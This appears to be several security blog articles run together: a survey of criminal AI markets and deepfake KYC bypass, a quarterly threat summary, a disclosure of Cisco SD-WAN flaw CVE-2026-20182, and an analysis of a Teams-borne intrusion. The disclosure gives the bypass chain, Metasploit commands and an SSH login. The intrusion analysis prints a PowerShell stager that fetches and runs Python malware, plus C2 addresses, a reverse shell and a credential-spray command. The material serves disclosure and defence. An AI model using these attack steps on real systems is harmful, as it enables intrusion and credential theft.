What truly defines the threat is the infrastructure supporting them. While entry-level tiers cost very little, professional-grade systems can cost thousands of dollars. At this level, the value isn't in the name, but in the technical setup.: These include the specific model used, how the service is delivered, the reliability of the operator, and how well it connects with other criminal tools like phishing kits, stealers, and ransomware support. Ultimately, the market has shifted toward operationalizing AI, focusing on tools that can automate and maximize the efficiency of entire illicit workflows.

Stolen AI accounts as an overlooked criminal market

One of the most important and still underappreciated developments in this landscape is the resale and abuse of legitimate AI access. This pattern is not new. Every widely adopted and commercially valuable technology eventually generates a secondary criminal market around stolen credentials, compromised accounts, and unauthorized access. AI is now following the same trajectory. Threat actors do not rely only on underground “dark AI” tools. They also misuse mainstream AI platforms directly.

However, the abuse of stolen AI accounts and hijacked API keys may be more consequential than many earlier credential markets. Access to legitimate AI services can provide threat actors with scalable cognitive and operational capabilities, not just access to a single platform or dataset. A compromised AI account may enable faster reconnaissance, multilingual targeting, automated content production, code generation, malware troubleshooting, and the refinement of phishing or fraud workflows. Hijacked API keys may also allow actors to consume compute resources at the victim’s expense, bypass usage restrictions tied to their own identities, and access more capable models or enterprise-grade infrastructure. In this sense, stolen AI access is not merely another credential commodity. It can function as an operational force multiplier across multiple stages of the attack lifecycle, making its abuse both expected and potentially more impactful than many traditional forms of account compromise (Figures 7 and 8).

⠀

⠀

The impact on organizations can be serious as AI accounts may contain proprietary information such as prompts, uploaded files, source code, legal drafts, customer data, internal summaries, product plans, meeting notes, investigative material, or strategic analysis. If compromised, the exposure extends beyond the credential itself. Enterprise AI accounts and AI-related access tokens should therefore be treated like cloud credentials, developer secrets, email accounts, or administrative SaaS access.

Deepfake services: From impersonation to KYC bypass

Deepfake services have become one of the criminal AI market’s most important adjacent segments, particularly in fraud, synthetic identity creation, onboarding abuse, and KYC bypass. These services are marketed not as experimental technologies, but as practical fraud enablers. Common offerings include face swaps, voice cloning, fake selfie generation, synthetic profiles, document manipulation, virtual camera injection, video-call impersonation, and full onboarding bypass packages (Figure 9). Their significance stems from the fact that many digital platforms continue to rely heavily on remote identity verification and visual trust cues.

The purpose of bypassing KYC controls is to create, validate, or access accounts that should not exist or should not be available to the offender. Once established, such accounts can support money laundering, mule activity, romance scams, investment fraud, payment abuse, sanctions evasion, account resale, and marketplace manipulation. The threat is no longer limited to static fake images. Attackers can combine face swaps, synthetic video, animated media, and virtual camera injection to impersonate real individuals during onboarding or verification.

Deepfake services also strengthen broader fraud operations. Romance scams, fake recruitment schemes, executive impersonation, vendor fraud, and investment scams all become more persuasive when synthetic voice or video is added to the deception chain. These services should therefore be understood as part of the same criminal AI capability stack. LLMs generate scripts, refine pretexts, localize language, and support interaction at scale. Stolen data enhances personalization. Deepfake tools add the visual and audio layer that increases trust and makes deception harder to detect. Together, these capabilities form a more complete deception architecture.

Organizational impact and defensive priorities

For organizations, the impact of AI-enabled cybercrime is both economic and operational. The main concern is not the sudden arrival of fully autonomous AI hacking, but the steady increase in attacker productivity, deception quality, operational flexibility, and post-compromise efficiency.

This last concern is important to note. Once attackers obtain data, AI can help them review it more quickly and more systematically. Models can summarize large document sets, identify sensitive or monetizable material, extract victim-specific details, and support tailored extortion or fraud. This does not require a purpose-built criminal model. It requires access to a capable model, relevant data, and a clear criminal objective.

At the same time, enterprise AI environments are becoming part of the attack surface. AI accounts, API keys, prompts, uploaded files, connectors, retrieval systems, internal knowledge bases, and agentic workflows can all expose sensitive business information if they are compromised, misused, or poorly governed. These assets should therefore be managed with the same seriousness as other critical systems, including clear ownership, least-privilege access, logging, monitoring, retention rules, and periodic access reviews.

Organizations should respond by treating criminal AI as a challenge of trust, identity, workflow security, and data governance, rather than only as a malware issue. High-risk business processes should be reinforced with stronger approval controls, transaction verification, segregation of duties, and out-of-band confirmation, especially for financial transfers, access changes, sensitive data requests, and executive communications.

Phishing and fraud defenses must also adapt. Poor grammar and obvious language errors are no longer reliable indicators of malicious activity. Organizations should assume that many adversaries can now generate polished, localized, and credible communications at scale. Detection should therefore rely more heavily on behavioral indicators, sender validation, process anomalies, identity verification, and transaction integrity than on superficial language cues.

At the same time, organizations should prepare for AI-assisted post-breach exploitation by improving data minimization, segmentation, access controls, monitoring, logging, and incident response planning. They should also monitor the broader underground capability stack, including jailbreak services, stolen AI accounts, and synthetic media tooling, because these increasingly shape attacker tradecraft in practice.

The market will likely see more bundling of text generation, translation, impersonation, data analysis, and synthetic media into a single criminal offering. It will also likely see continued abuse of legitimate AI platforms alongside wrapper-based underground services. The ecosystem will likely remain uneven, opportunistic, and hype-heavy, while becoming strategically important because it makes cybercrime easier to execute, scale, and detectFor organizations, the main risk is not only higher financial loss, but also the growing operational strain created by AI-assisted attacks that are faster, more scalable, and harder to triage.

Enterprise AI accounts, API keys, prompts, uploaded files, connectors, retrieval systems, internal knowledge bases, and agentic workflows should be managed as critical assets, with clear ownership, least-privilege access, logging, monitoring, retention rules, and periodic access reviews. Sensitive data should be exposed to AI systems only when there is a clear business need, especially when AI tools connect to email, cloud storage, code repositories, customer databases, financial systems, or external services. High-risk AI connectors and workflows should be inventoried, risk-ranked, and monitored for abnormal access, bulk data movement, privilege escalation, or unauthorized agent actions.

 As phishing tactics become better, core controls should include MFA, phishing-resistant authentication, conditional access, DLP, EDR/XDR, API security monitoring, secrets scanning, prompt and output filtering, and model-access controls. Incident response plans should also cover stolen AI accounts, exposed prompts, compromised API keys, leaked embeddings, abused connectors, and sensitive data retained in AI workspaces.

The organizations best positioned for the next phase will be those that integrate AI risk into existing security governance rather than treating it as a separate technical issue. As criminal use of AI becomes part of everyday attacker tradecraft, resilience will depend on the ability to verify identity, control access, protect data flows, monitor AI-enabled workflows, and maintain human oversight over high-impact decisions. The future defensive priority is therefore not to predict every AI-enabled attack, but to build security architectures that remain reliable when attackers become faster, more persuasive, and more efficient.

The first quarter of 2026 reinforced that attackers are moving faster, operating with greater coordination, and exploiting weaknesses before most organizations can respond effectively. From escalating geopolitical tensions to increasingly aggressive ransomware operations, the latest quarterly Threat Landscape Report highlights a security environment where reactive defense strategies are becoming unsustainable.

Quarterly Threat Landscape Report findings

Exploits unseat social engineering for top initial access vector (IAV)

One of the biggest takeaways is that vulnerability exploitation surpassed social engineering as the largest initial access vector with 38% of the total. This would be interesting on its own, but when coupled with more than 50% of all exploited vulnerabilities actively being zero-click, network facing vulnerabilities, it indicates that, at least in the short term, attackers are finding AI-enabled vulnerability exploitation easier to accomplish than exploiting human behavior. These types of vulnerabilities require no authentication and no user interaction, giving attackers rapid pathways into exposed systems and edge infrastructure. At the same time, exploitation activity was frequently preceded by large spikes in public discussion across forums, blogs, and social media platforms, demonstrating how quickly threat actors operationalize publicly available information once vulnerabilities gain visibility.

Geopolitics and FBI takedowns in the threat landscape

Geopolitical instability also continued to shape cyber operations throughout the quarter, particularly in the Middle East, where cyber activity was increasingly synchronized with military escalation. Iranian state-aligned groups targeted government infrastructure, financial services, and industrial systems, while Russian and Chinese campaigns focused heavily on intelligence collection, telecommunications infrastructure, and persistent access operations designed to remain undetected over long periods of time. The result is a threat landscape where organizations must prepare not only for immediate disruption, but also for long-term persistence inside enterprise environments.

Meanwhile, law enforcement operations targeting underground criminal infrastructure disrupted several major ransomware and credential marketplaces during Q1, including the seizure of RAMP and LeakBase. These takedowns have created operational pressure for cybercriminal groups, pushing threat actors toward smaller, decentralized communities and increasing internal distrust.

A marked shift towards "pure extortion"

The report also highlights the continued evolution of ransomware operations, particularly the growing shift toward “pure extortion” tactics focused on rapid data theft rather than traditional encryption-based attacks. Threat actors increasingly leveraged zero-click vulnerabilities to gain initial access, exfiltrate sensitive data, and pressure victims without deploying ransomware payloads that create additional operational risk and visibility.

Taken together, the findings from Q1 2026 show that organizations can no longer rely on periodic assessments and reactive workflows alone. Security teams need continuous visibility into their attack surface, better prioritization around exploitable risk, and the ability to move at a pace that matches modern attackers before small exposures become large-scale incidents.

Download the full report here.

Overview

While researching a critical authentication bypass vulnerability, CVE-2026-20127, which was exploited in-the-wild, Rapid7 Labs discovered a new authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Controller (formerly known as vSmart), CVE-2026-20182.

This new authentication bypass vulnerability affects the “vdaemon” service over DTLS (UDP port 12346), which is the same service that was vulnerable to CVE-2026-20127. The new vulnerability is not a patch bypass of CVE-2026-20127. It is a different issue located in a similar part of the “vdaemon” networking stack.

This impact however is the same, a remote unauthenticated attacker can leverage CVE-2026-20182 to become an authenticated peer of the target appliance, and perform privileged operations, such as injecting an attacker controlled public key into the vmanage-admin user account’s authorized SSH keys file. Once this has been performed, a remote unauthenticated attacker can login to the NETCONF service (SSH over TCP port 830) as the vmanage-admin user, and begin to issue arbitrary NETCONF commands.

CVE-2026-20182 has a CVSSv3.1 score of 10.0 (Critical), and a Common Weakness Enumeration (CWE) of CWE-287: Improper Authentication.

Technical analysis

The Cisco Catalyst SD-WAN Controller serves as the central control plane. Unlike Cisco Catalyst SD-WAN Manager, it has no web UI. Its network-reachable attack surface is narrow and depending on the configuration may expose the following ports:

⠀

UDP port 12346 is the DTLS-over-UDP control-plane peering port used by vdaemon for inter-controller and controller-to-edge communication. It carries Overlay Management Protocol (OMP) messages including route advertisements, Transport Locations (TLOC) tables, and peer state - the entirety of the SD-WAN overlay routing fabric. Compromising this service means compromising the network.

To understand the vulnerability, we first need to understand how vdaemon authenticates control-plane peers. The protocol is a multi-phase handshake over DTLS:

Attacker                                    vSmart
   |                                           |
   |──── DTLS Handshake (any cert) ───────────>|  ← cert verify logs error but returns OK
   |                                           |
   |<──── CHALLENGE (msg_type=8) ──────────────│  ← 256 random bytes + TLVs
   |                                           |
   |──── CHALLENGE_ACK (msg_type=9) ──────────>|  ← device_type=2 (vHub) → NO VERIFICATION
   |                                           |
   |<──── CHALLENGE_ACK_ACK (msg_type=10) ─────│  ← peer->authenticated = 1
   |                                           |
   |──── Hello (msg_type=5) ──────────────────>|  ← passes auth check, peer goes UP
   |                                           |
   |<──── Hello (msg_type=5) ──────────────────│  ← peer-type:vhub, new-state:up

⠀

After a DTLS handshake completes (which accepts any client certificate), the server sends a CHALLENGE containing 256 random bytes and a set of TLVs including Certificate Authority (CA) RSA public key components. The client must respond with a CHALLENGE_ACK, and it is during the processing of this response, in vbond_proc_challenge_ack(), that device-type-specific certificate verification occurs. Or, in the case of a “vHub” device, does not occur.

The 12-byte message header format for the vdaemon protocol is as follows:

⠀

The vdaemon protocol defines the following device types, encoded in the upper nibble of header byte 1, aka device_info:

⠀

This is the core of the vulnerability. Below is a walk through of the decompiled code from vbond_proc_challenge_ack(), which processes the CHALLENGE_ACK message sent by a connecting peer. After the DTLS handshake, the function extracts the peer's certificate serial number and then enters device-type-specific verification (Note: edited for brevity):

⠀

// vdaemon!vbond_proc_challenge_ack()
// After extracting serial number from peer certificate via
// X509_get_serialNumber() / ASN1_INTEGER_to_BN() / BN_bn2hex()

// ...snip...

if ( *(_DWORD *)(a3 + 8) == 3 || *(_DWORD *)(a3 + 8) == 5 ) // <--- [1]
{
// vSmart (type 3) or vManage (type 5): Certificate chain verification
v24 = is_serial_duplicate(v22, *(_DWORD *)(a3 + 8), ...);
if ( v24 )
    {
if ( (unsigned __int8)vbond_peer_dup_check(a1, a2, v24, ...) ) // <--- [2]
{
            v19 = 36;  // ERR: Duplicate Serial
goto LABEL_179;  // REJECT
}
    }
}
// ...snip...

// Second verification block - additional cert & state checks
if ( *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 3 // <--- [3]
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 3
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 5
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 4
|| *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 4 )
{
    v19 = vdaemon_dtls_verify_peer_cert(a2);  // Full certificate verification
if ( v19 )
        v18 = 0;
    vdaemon_send_challenge_ack_ack(a1, *(_QWORD *)(a2 + 1232), a2, v18);
if ( v18 != 1 )
goto LABEL_179;  // REJECT on verification failure
vbond_send_ssh_keys_to_vmanage_peer(a1, a2);
}

if ( *(_DWORD *)(a3 + 8) == 1 // <--- [4]
&& (dword_2A1A28 == 4 || dword_2A1A28 == 3 || dword_2A1A28 == 5) )
{
// vEdge (type 1): Hardware/virtual edge certificate verification
    // ... challenge signature, board ID, OTP verification ...
if ( vdaemon_verify_peer_bidcert(a2, ...) )
goto LABEL_179;  // REJECT on failure
}

// *** NO CODE PATH FOR device_type == 2 (vHub) *** // <--- [5]

*(_BYTE *)(a2 + 70) = 1;   // peer->authenticated = true // <--- [6]
return 0LL;                // Success

⠀

We can see from the above that the function implements device-type-specific verification through a series of conditional blocks:

At [1] above, the function checks whether the connecting peer claims to be a vSmart (type 3) or vManage (type 5). If so, it enters a certificate serial number lookup via is_serial_duplicate(), which searches the local certificate database for a matching serial. At [2], if the serial is found, a duplicate-serial check via vbond_peer_dup_check() rejects the peer if a peer with that serial is already connected - preventing impersonation of existing authorized controllers.

At [3], a second verification block performs full certificate chain verification via vdaemon_dtls_verify_peer_cert(). This block executes only for specific (peer_type, local_type) pairs: vSmart-to-vSmart, vManage-to-vSmart, vManage-to-vManage, vManage-to-vBond, and vSmart-to-vBond. No pair in this block involves device type 2 (vHub). If the verification function returns a non-zero error, v18 is set to 0, and the function jumps to LABEL_179, which  rejects the peer.

At [4], vEdge peers (type 1) enter hardware certificate verification via vdaemon_verify_peer_bidcert(). This path validates either a hardware TPM-based certificate (for physical vEdge routers) or a virtual edge certificate, including challenge-response signature verification and board ID validation. Failure sends the function to LABEL_179, which  rejects the peer.

At [5], this is the bug, there is no “if” block matching a device type of 2 (vHub); the vHub device type simply has no verification code. The function falls through every conditional without entering any of them.

At [6], the function unconditionally sets “*(_BYTE *)(a2 + 70) = 1”, which is equivalent to ”peer->authenticated = true”, and returns success. The authenticated flag at peer struct offset 70 is the single bit that gates all subsequent message processing.

The following table summarizes the verification applied to each device type:

⠀

Therefore, a remote unauthenticated attacker can bypass authentication by connecting to the vSmart DTLS port with any self-signed client certificate and claiming to be a vHub (type 2) in the CHALLENGE_ACK message. No valid credentials, no CA-signed certificate, and no knowledge of the SD-WAN deployment are required.

Looking further at the message dispatcher, we need to confirm that the CHALLENGE_ACK message can actually reach vbond_proc_challenge_ack() without prior authentication. The answer is in the pre-dispatch authentication gate in vbond_proc_msg():

// vdaemon!vbond_proc_msg()
// Pre-dispatch authentication gate:

if ( *(_BYTE *)(v100 + 70) != 1 // <--- [1]
&& *(_DWORD *)(a3 + 4) != 5      // msg != Hello
&& *(_DWORD *)(a3 + 4) != 8      // msg != CHALLENGE
&& *(_DWORD *)(a3 + 4) != 9      // msg != CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4)           // msg != NEW_CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4) != 10     // msg != CHALLENGE_ACK_ACK
&& *(_DWORD *)(a3 + 4) != 7      // msg != Data
&& *(_DWORD *)(a3 + 4) != 11     // msg != TEAR_DOWN
  // ...snip...
)
{
// ...snip...
    // "Received an unexpected message from an un-authenticated device"
return 20;
}

⠀

We can see at [1] above, that the condition is a conjunction of negations: the incoming message is rejected only if the peer is NOT authenticated AND the message type is not one of the pre-authentication allowed types (CHALLENGE, CHALLENGE_ACK, NEW_CHALLENGE_ACK, CHALLENGE_ACK_ACK, Data, and TEAR_DOWN).

CHALLENGE_ACK (Message type 9) is explicitly in the allow list, meaning it passes this gate without authentication and reaches the vulnerable vbond_proc_challenge_ack(). This is by design; the authentication handshake must be able to proceed before the peer is authenticated.

Once the vulnerable vbond_proc_challenge_ack() sets “peer->authenticated = true” via the vHub bypass, the attacker must send a Hello message (Message type 5) to transition the peer to the UP state. The Hello handler has its own secondary authentication check:

// Case 5 (Hello) in vbond_proc_msg - line 20362
case 5:
// ...snip...
if ( *(_BYTE *)(v100 + 70) != 1 ) // <--- [2]
{
// "Received an unexpected HELLO from un-authenticated device"
        // ... cleanup and reject ...
return 0LL;
    }
// Process Hello normally - peer transitions to UP

⠀

At [2] above, the Hello handler verifies ”peer->authenticated == true” before processing. After our exploit sets this flag via the vHub bypass, Hello passes this secondary check and the peer transitions to the UP state, a fully trusted control-plane peer.

Putting all the pieces together: the attack chain is DTLS handshake (any cert) → receive CHALLENGE → send CHALLENGE_ACK with device type 2 (vHub) → authentication flag set unconditionally → send Hello → peer transitions to UP.

After establishing as an authenticated peer, the attacker has access to the full range of control-plane message types. We identified a particularly impactful post-authentication primitive: persistent SSH key injection via MSG_VMANAGE_TO_PEER (Message type 14).

The handler for message type 14 is vbond_proc_vmanage_to_peer(). Examining the decompiled code:

// vdaemon!vbond_proc_vmanage_to_peer()

// ...snip...

stream = fopen("/home/vmanage-admin/.ssh/authorized_keys", "a+"); // <--- [1]
if ( stream )
  {
if ( (unsigned __int8)read_key_data((const char *)(a3 + 32), stream) != 1 && *(_BYTE *)(a3 + 32) )
    {
if ( dword_241120 > 6 )
        syslog(
191,
"%s[%d]: %%%s-%d: sshkey not present, writing to file",
"vbond_proc_vmanage_to_peer",
2368LL,
          aVdaemonDbgMisc,
7LL);
      fputs((const char *)(a3 + 32), stream); // <--- [2]
}
    fclose(stream);
  }

// ...snip...

⠀

At [1] above, the file is opened in append mode - the attacker's key is added alongside any existing authorized keys, avoiding disruption of legitimate access. At [2], the attacker-controlled key buffer from the message body is written directly via fputs() with no sanitization.

The key injection message body is a fixed 769-byte structure:

⠀⠀

The leading “\n” ensures correct appending regardless of whether the existing authorized_keys file ends with a newline. The null byte terminates the string for fputs(), and the remainder is zero-padded to fill the 768-byte buffer.

Any authenticated peer, regardless of device type, can inject SSH keys into the vmanage-admin user's authorized_keys file on vSmart. The vmanage-admin user is a specific internal, high-privileged service account used for automated communication between the management plane (vManage) and the control plane (vSmart/vBond). This converts a transient control-plane peering session into persistent, credential-independent high-privileged access.

Exploitation

In this example we will use the exploit developed by Rapid7 Labs and target a Cisco Catalyst SD-WAN Controller which has an IP address of 192.168.80.11. In our example, both the vdaemon service and the NETCONF service are bound to the same interface. The attacker will have an IP address of 192.168.80.130. In our example, the target Cisco Catalyst SD-WAN Controller appliance is running version 20.12.6.1, which was the latest available version of the 20.12.* branch at the time of writing.

To begin, the attacker loads the module in Metasploit and configures the required options.

⠀

The module will perform the authentication bypass and then inject an attacker controlled SSH public key into the authorized keys file for the vmanage-admin user. The module will generate a new RSA key-pair prior to exploitation, so that the attacker will inject a public key for which they have the corresponding private key.

The attacker then sets the target and runs the module.

msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > set RHOSTS 192.168.80.11
msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > run

⠀

⠀

The attacker can now SSH into the NETCONF service over TCP port 830 by running the following command (as instructed by the exploit above).

ssh -i /home/cryptocat/.msf4/loot/20260501115947_default_192.168.80.11_cisco.sdwan.sshk_491665.pem vmanage-admin@192.168.80.11 -p 830

⠀

SSH public key authentication will succeed, and the attacker will have successfully established a connection to the NETCONF service.

⠀

At this point the attacker can begin to execute arbitrary NETCONF commands, for example the following “get-config” command can be run by the attacker in the NETCONF session.

<?xml version="1.0" encoding="UTF-8"?><hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><capabilities><capability>urn:ietf:params:netconf:base:1.0</capability></capabilities></hello>]]>]]><rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><get-config><source><running/></source></get-config></rpc>]]>]]>

⠀

The output of the get-config command is shown below.

Remediation

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Customers are advised to upgrade to an appropriate fixed software release as indicated in the Fixed Software section of the Cisco Security Advisory. The following tables indicate the appropriate fixed software releases.

*These releases have reached the end of software maintenance. Cisco strongly encourages customers to upgrade to a supported release.

For additional details, please see the vendor advisory.

Vendor statement

"Cisco values the role of the security research community in helping maintain a secure ecosystem and we appreciate the collaboration with Rapid7. We have released a software update to remediate the identified vulnerability. We remain committed to transparent communication and to providing our customers with the robust security and resilience they expect."

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-20182 with an authenticated vulnerability check expected to be available in the May 14th, 2026 content release.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher, and Jonah Burgess, Senior Security Researcher, both at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Disclosure timeline

• March 9, 2026: Rapid7 makes initial outreach to Cisco who confirms contact the same day. Rapid7 discloses the technical writeup and exploit code to Cisco.

• March 11, 2026: Cisco confirms receipt of the technical writeup and exploit code and suggests a disclosure date of May 7, 2026.

• March 20, 2026: Cisco confirms the vulnerability findings, and that a CVE will be reserved.

• April 21, 2026: Cisco provides reserved CVE identifier and remediation guidance.

• April 24, 2026: Cisco provides remediation version numbers, alignment on CWE and CVSS scoring, and requests moving disclosure date to May 14.

• May 14, 2026: This disclosure.

Updates

• May 15, 2026: Added link to the Metasploit module.

Overview

Attackers do not need to break into the front door when they can convince employees to open it for them through the tools they already trust.

In April 2026, Rapid7 investigated an enterprise intrusion that began with a Microsoft Teams message from a fake “IT Support” account and quickly escalated into a full compromise chain involving malware deployment, privilege escalation, credential theft, lateral movement, and exfiltration. The incident illustrates a critical risk for modern enterprises: Collaboration platforms have become part of the attack surface, and when combined with identity abuse and Living-off-the-Land techniques, they can provide attackers with a low-friction path into the environment.

Therefore, this attack was particularly concerning due to the way the intrusion shifted from endpoint compromise to broader identity-driven risk. And while it was not surprising that the attacker used a novel technique, what was concerning was how the attacker was able to chain together familiar enterprise weaknesses into a fast-moving and operationally effective intrusion.

By abusing Teams external access, the threat actor delivered a Dropbox-hosted Python payload that established command-and-control, deployed multiple backdoors, and began mapping the internal environment. The attacker then escalated privileges to SYSTEM using CVE-2023-36036 before deploying a fake Windows lock screen designed to harvest the user’s domain password.

Once valid credentials were obtained, the intrusion shifted from endpoint compromise to broader identity-driven risk. The attacker moved laterally to a second host, used legitimate tooling such as DumpIt to collect system memory, which was likely exfiltrated via an anonymous file-sharing service. This progression underscores a key reality for defenders: Once collaboration, identity, and endpoint controls are bypassed or weakened, attackers can rapidly convert initial access into meaningful enterprise exposure.

Rapid7’s technical analysis linked the Python malware to ModeloRAT, a framework previously documented by multiple security vendors in browser extension campaigns and associated with the KongTuke group. More broadly, this intrusion demonstrates how trusted communication channels, Living-off-the-Land techniques, and credential-focused tradecraft continue to challenge traditional security controls. The takeaways here are clear:

For CISOs: Collaboration tools are part of your attack surface. Attackers used Teams to reach users directly. Security, identity protection, endpoint visibility, and rapid detection engineering must be treated as connected parts of the same defense strategy, not separate control domains.

For defenders: Old vulnerabilities and trusted tools still work. The attack combined a patched vulnerability (CVE-2023-36036) with widely trusted tools like Python, PowerShell, and Dropbox. None of these are unusual in enterprise environments, which is precisely what allowed the attacker to blend in while moving quickly. It’s an obvious restatement, but external access should always be controlled and monitored. 

The challenge isn’t identifying one suspicious event; it’s recognizing when normal activity starts to form a pattern, and acting before that pattern turns into widespread exposure.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

A door that was never closed

The intrusion started with abuse of Microsoft Teams external access. This feature, enabled by default in some environments, allows users in one tenant to initiate direct chats with users in another. In our incident, the attacker used a newly created tenant UCICasociacion.onmicrosoft[.]com to impersonate “IT Support” and messaged a targeted employee.

This approach mirrors tradecraft seen in Octo Tempest-style campaigns. Octo Tempest (alias Scattered Spider, UNC3944, 0ktapus) is a financially motivated cybercriminal group active since 2022, known for aggressive social engineering tactics including helpdesk impersonation, SIM swapping, and MFA manipulation. 

Shortly after the interaction, a hidden PowerShell command executed on the victim’s machine, staging the initial payload.

Stager: Bring your own Python

Within minutes of the Teams interaction, a PowerShell stager executed on the endpoint and reached out to Dropbox to retrieve a ZIP archive (Winp.zip) into the user’s AppData directory.

The archive was immediately extracted and deleted, likely to reduce on-disk artifacts and avoid potentially raising suspicion.

The payload contained a portable WinPython environment, which the attacker used to launch the next stage:

• collector.py (reconnaissance)

• Pmanager.py (primary C2 agent, Modelo RAT)

Execution was handled via pythonw.exe, which allowed the script to run in the background without showing the terminal window.

iwr -Uri "https://www.dropbox[.]com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:appdata\Winp.zip"; 
Expand-Archive -Path "$env:appdata\Winp.zip" -DestinationPath "$env:appdata"; 
rm "$env:appdata\Winp.zip"; 
Start-Sleep -Seconds 5; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\collector.py; 
Start-Sleep -Seconds 30; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\Pmanager.py; 
Start-Sleep -Seconds 5

Figure 2: PowerShell stager retrieving and executing portable Python payload.

Reconnaissance: Environment discovery via native tools

The first Python module executed by the attacker was collector.py, a post-exploitation information gatherer designed to silently profile the host and save the results to %TEMP%\configA.json. Additionally, before any of the recon the collector.py computes a host fingerprint. This 8-character fingerprint is what the operator's C2 server uses to identify this victim.

The script gathered the following information:

Table 1: Host Reconnaissance and Environment Enumeration.

All of these commands were executed through hidden PowerShell sessions using the CREATE_NO_WINDOW flag, allowing the script to run in the background without spawning visible console windows.

Part of reconnaissance was also a collection of installed hotfixes and system version data. The attacker was able to assess whether the host was vulnerable to a version-specific local privilege escalation exploit later used in the intrusion.

Additionally, collector.py and all other python modules dropped by malware were obfuscated. However, it was not difficult to recover code structure close to the original. 

Stage 2: Ties to ModeloRAT

Shortly after reconnaissance is completed, the attack shifts into its second stage as with the execution of Pmanager.py.

pythonw.exe ...\python\Pmanager.py start

Figure 4: Execution of Pmanager.py initiating second-stage C2 activity.

As soon as it is started, the script creates a long-running HTTP beacon over port 80 that rotates across 5 hardcoded C2 servers: 46.225.231[.]170, 144.172.99[.]68, 64.94.85[.]158, 140.82.6[.]45, and 45.76.241[.]51.

The script can load DLLs via rundll32.exe, launch additional Python scripts, run PowerShell commands, or install .msi packages. It also handles persistence and can update or remove itself. The reconnaissance output saved in configA.json is sent back to the C2, giving the operator a full picture of the host before issuing further tasks.

This behavior closely matches the ModeloRAT framework documented by Huntress (KongTuke / CrashFix campaigns). Its communication format, persistence mechanisms, and delivery model all match what has been previously observed, with no significant deviations.

The key difference is in initial access: Where earlier campaigns relied on malicious browser extensions, this intrusion used Microsoft Teams social engineering to achieve execution.

The on-demand shells and the WebDAV 

Pmanager quickly deployed its first additional module USOShared1297.py onto the infected host. This module is a TCP reverse shell that opens 2 outbound sockets to one of 3 hardcoded C2 IPs (144.172.88[.]18, 64.190.113[.]187, 45.59.122[.]231. The port 50508 is reserved for the interactive shell that the attacker can use and port 60503 is for file transfer. The shell itself is a cmd.exe spawned using CreatePipe and CreateProcessA with the CREATE_NO_WINDOW and STARTF_USESTDHANDLES flags.

This access was then used to test credential reuse across the environment through repeated WebDAV authentication attempts against internal systems.

rundll32.exe davclnt.dll,DavSetCookie <HOST> http://<TARGET>/C%24/Windows

Figure 5: WebDAV authentication spray using davclnt.dll (DavSetCookie)

The DavSetCookie API forces Windows to initiate a WebDAV authentication attempt using the current user’s credentials. In effect, it allows the attacker to validate where those credentials are accepted without deploying additional tools. Within minutes, successful logon events started to appear across more than 100 internal systems.

The HTTP shell – internal.py

Not long after, the attacker added a second way into the system by deploying back-to-back Microsoft5237.py dropped to %TEMP% and internal.py dropped to WPy64-31401\python. Later analysis showed they were actually the same file, just renamed (both had the same SHA-256 hash: 930263c0843744e269b615fb2ec79f83d7bd8b2cbf75e31fd5ea6c1aaa4e48fd). The attacker was reusing the same backdoor under different names.

Each script launched a hidden PowerShell session. First it checked whether the system was domain-joined, and then set up a persistent remote shell.

powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystem).Domain"
powershell -NoProfile -NoExit -Command -

Figure 6: The -NoExit flag keeps PowerShell running in the background, while the trailing “-” allows it to accept commands remotely.

From there, internal.py turned that session into a full HTTP-based control channel. It registered with the C2 /handshake, continuously polled for instructions via /command/<id>, executed them inside the PowerShell session, and returned output via /output/<id>. The same channel handles file upload, download, and also screenshot capture. All of this communication ran over port 80 to 87.120.186[.]229 and 149.248.78[.]202, blending in with normal web traffic.

Stage 3: Privilege escalation via CVE-2023-36036

After gaining remote access, the attacker executed ssss.dll to escalate privileges.

rundll32.exe ssss.dll startproc Mw2[REDACTED]

Figure 7: Execution of ssss.dll via rundll32.

The argument that was passed to startproc is a decryption key. The startproc function uses Mw2[REDACTED] to decrypt the payload.

The ssss.dll (SHA-256: b00c1cbcfb98d2618a5c2ccb311da94f3c57709a397be6c8de29839f4e943976) is a reflective loader. The loader is using that key to decrypt an embedded payload in memory and execute it. The decrypted payload is testdllLPE.dll (SHA-256: d84245f3a374dd5eff8ecfdfad39077d76331fde799e5306430d0fc788db7f1d), a custom privilege escalation exploit targeting CVE-2023-36036. This vulnerability is a heap-based buffer overflow in cldflt.sys, the Windows Cloud Files Mini Filter Driver.

Within seconds, the helper thread launched internal.py under a SYSTEM token, confirming that the exploit successfully modified the process privileges.

What is CVE-2023-36036?

The Cloud Files driver is what makes OneDrive's "Files On-Demand" work, allowing placeholder files to appear locally while being backed by cloud storage. Sync providers (OneDrive, Dropbox, Box) register themselves with the driver using the Cloud Files API, and the driver brokers I/O between the filesystem and the provider.

